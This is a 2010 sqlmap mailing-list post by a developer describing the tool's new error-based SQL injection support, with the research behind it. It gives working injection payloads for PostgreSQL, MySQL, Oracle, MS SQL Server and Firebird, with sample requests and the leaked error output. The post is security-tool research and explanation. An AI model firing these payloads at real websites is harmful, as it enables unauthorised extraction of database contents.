[sqlmap-users] Support for error-based sql injection in sqlmap and the research behind it
Brought to you by:
inquisb
From: Miroslav S. <mir...@gm...> - 2010-12-12 10:33:37
|
Hi, Now it's my turn to present some new shinny new features of sqlmap from version 0.8 till now :) "Support for error-based sql injection in sqlmap and the research behind it" Great reference for error-based sql injection can be found in a paper: "METHODS OF QUICK EXPLOITATION OF BLIND SQL INJECTION" by Dmitry Evteev (www.ptsecurity.com/download/PT- devteev-FAST-blind-SQL-Injection.pdf). The author described in a great way how to exploit error messages in four main DBMSes (MySQL, MSSQL, Oracle and PGSQL) to get the desired query output. Also, author has personally pointed us to some other great resources and has given us some hints (like error based vector for MySQL < 5). We've used info from that paper and from other great references, like Alexander Kornbrust's: 'Tutorial: Oracle SQL Injection in Webapps' (http://blog.red-database- security.com/2009/01/17/tutorial-oracle-sql-injection-in-webapps-part-i/print/), forum RDot's "MySQL 3 Error Based SQLi" (https://rdot.org/forum/showthread.php?t=503), red database security's "Oracle SQL Injection in web applications " (http://www.red-database- security.com/whitepaper/oracle_sql_injection_web.html), but, nevertheless, never underestimate the knowledge you get while implementing this kind of stuff. For start, we should present some samples from our manual tests: -------------- Backend DBMS: PostgreSQL Request: http://xxx.xxx.xxx.xxx/pgsql/get_int.php?id=1 and 1=cast((select CURRENT_USER::text) as numeric) Response: Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for type numeric: "testuser" in ... on line 35 SQL error: ERROR: invalid input syntax for type numeric: "testuser" -------------- Backend DBMS: MySQL Request: http://xxx.xxx.xxx.xxx/mysql/get_int.php?id=1 and (select 1 from(select count(*),concat ((SELECT CURRENT_USER()),floor(rand(0)*2))x from information_schema.tables group by x)a)-- Response: SQL error: Duplicate entry 'root@localhost1' for key 'group_key' -------------- Backend DBMS: Oracle Request: http://xxx.xxx.xxx.xxx/oracle/get_int.php?id=1 and 1=(SELECT UPPER(XMLType(chr(60)||chr(58)|| chr(58)||(SELECT USER FROM DUAL)||chr(62))) FROM DUAL) Response: Warning: oci_execute() [function.oci-execute]: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00110: Warning: invalid QName "::SYS" (not a Name) Error at line 1 ORA-06512: at "SYS.XMLTYPE", line 301 ORA-06512: at line 1 in ... on line 39 Request: http://xxx.xxx.xxx.xxx/oracle/get_int.php?id=1 AND 1=UTL_INADDR.GET_HOST_ADDRESS ((SELECT USER FROM DUAL)) Response: Warning: oci_execute() [function.oci-execute]: ORA-29257: host SYS unknown ORA-06512: at "SYS.UTL_INADDR", line 19 ORA-06512: at "SYS.UTL_INADDR", line 40 ORA-06512: at line 1 in ... on line 39 Request: http://xxx.xxx.xxx.xxx/oracle/get_int.php?id=1 AND 1=CTXSYS.DRITHSX.SN(1, (SELECT USER FROM DUAL)) Response: Warning: ibase_fetch_assoc() [function.ibase-fetch-assoc]: conversion error from string "SYSDBA" in ... on line 47 SQL error: -------------- Backend DBMS: MS SQL Server Request: http://xxx.xxx.xxx.xxx/mssql/iis/get_int.asp?id=1' and 1=convert(int,(SELECT SYSTEM_USER))-- Response: Error Type: Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'sa' to data type int. ..., line 27 -------------- Backend DBMS: Firebird (world premiere!) Request: http://xxx.xxx.xxx.xxx/firebird/get_int.php?id=1 AND 1=(SELECT CURRENT_USER FROM RDB $DATABASE) Response: Warning: ibase_fetch_assoc() [function.ibase-fetch-assoc]: conversion error from string "SYSDBA" in ... on line 47 -------------- There are really two conditions you need to satisfy: 1) You need to be able to automatically recognize error message and parse desired (sub)query's result out of it 2) Error should be provocated for any instance of (sub)query you use Optimal way to solve these two conditions is the usage of proper prefix and suffix. As can be seen, lots of error vectors are based on a conversion of data from string format to numerical. To "break" those you only need to add a non-numerical character into prefix (and/or suffix), and you'll get something like: http://192.168.117.128/sqlmap/pgsql/get_int.php?id=1 AND 1=cast('prefix_'||(select count (*)||'_suffix' from users) as numeric) Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for type numeric: "prefix_4_suffix" in .../pgsql.inc.php on line 35 SQL error: ERROR: invalid input syntax for type numeric: "prefix_4_suffix" Recognition of a valid "error response" and parsing of result in these kind of cases is pretty straighforward. You only need to choose some pretty random prefix and suffix which you don't expect in response body and that's it. Other's are pretty the same, and don't have any "special" conditions, except Oracle's "XMLType". "XMLType is a system-defined opaque type for handling XML data. XMLType has predefined member functions on it to extract XML nodes and fragments." (http://download.oracle.com/docs/cd/B10500_01/appdev.920/a96616/arxml24.htm). Basically, when using this error vector you need to provocate Oracle's XML parser with usage of invalid XML syntax. The thing is that parser can be broken in many ways, but to display a proper error message you need to start with a character '<' (chr(60) in our case). After that parser expects a proper "identifier" (all those that wrote it's own compiler should know what this means) - variable names, method names, node names, ... are all identifiers. In most cases identifiers could be described with the following regular expression [a-zA-Z][a-zA-Z0-9_]*, which in plain-speak means that the first letter should be an alphabetical one, while the others can be letters, numbers and a letter '_'. Well, Oracle's XML parser best (mis)behaves with XMLTYPE('<:........'). Notice that second character ':'. Because of it parser goes nunners and displays that wonderful error message. >From our research other characters more or less produce messages like: "invalid character 41 (')')" or "element-start tag is not well formed". Also, XMLType is a piece of work in one more way. If the provided (sub)query like: "SELECT banner FROM v$version WHERE ROWNUM=1" returns a multi-word (space delimited) result, error message will return only a first word, trimming the rest. To prevent this we've used a character replacement in an used (sub)query (...REPLACE((SELECT banner FROM v$version WHERE ROWNUM=1),' ',<space replacement>)). One more "piece of work" is the MySQL error vector. From our research we've noticed that if the number of returned characters in the (sub)query is more than some value, then "Duplicate row" is returned instead of the proper error message. These are "safe" lengths we've noticed in our tests: >> 494 - Debian 5.0 (32-bit), MySQL 5.1.41-3~bpo50+11 >> 153 - Ubuntu 8.04 (32-bit), MySQL 5.0.51a-3ubuntu5 >> 129 - Windows XP SP3 (32-bit), MySQL 5.1.41 Everything above returns: "Duplicate row". Nobody is sure for now why is this happening, but for sure it's version/platform dependent (as proven by us). "Patch" for this one is to trim the (sub)query result to some "predefined safe value" that in most cases won't deal problems. We've chosen 100, which is lesser than any of the provided values. To provocate errors in all error vectors and to properly recognize/parse (sub)query result from returned error message, in sqlmap we are using prefix and suffix in a form ':<randomalphachar> <randomalphachar><randomalphachar>:'. This way we are pretty sure that they will be unique in the returned response, and we are able to easily extract all data between them. Right now sqlmap (dev/r2667) automatically tries to find and exploit basic error-based vectors for major DBMS-es, while the others (2 more for Oracle and 1 for Firebird) can be turned on with usage of a higher --level. >From my personal point of view I am very happy that we've implemented this one, not so much "because it's fast", but because other tools had an etiquette that they can exploit error based sql injections, while sqlmap couldn't. Now situation is different in a way that, and I can take a full responsibility, that no other tool can be measured with sqlmap in this segment, and we'll for sure further "stay" in touch with new error vectors found. Kind regards. -- Miroslav Stampar E-mail / Jabber: miroslav.stampar (at) gmail.com Mobile: +385921010204 (HR 0921010204) PGP Key ID: 0xB5397B1B Location: Zagreb, Croatia |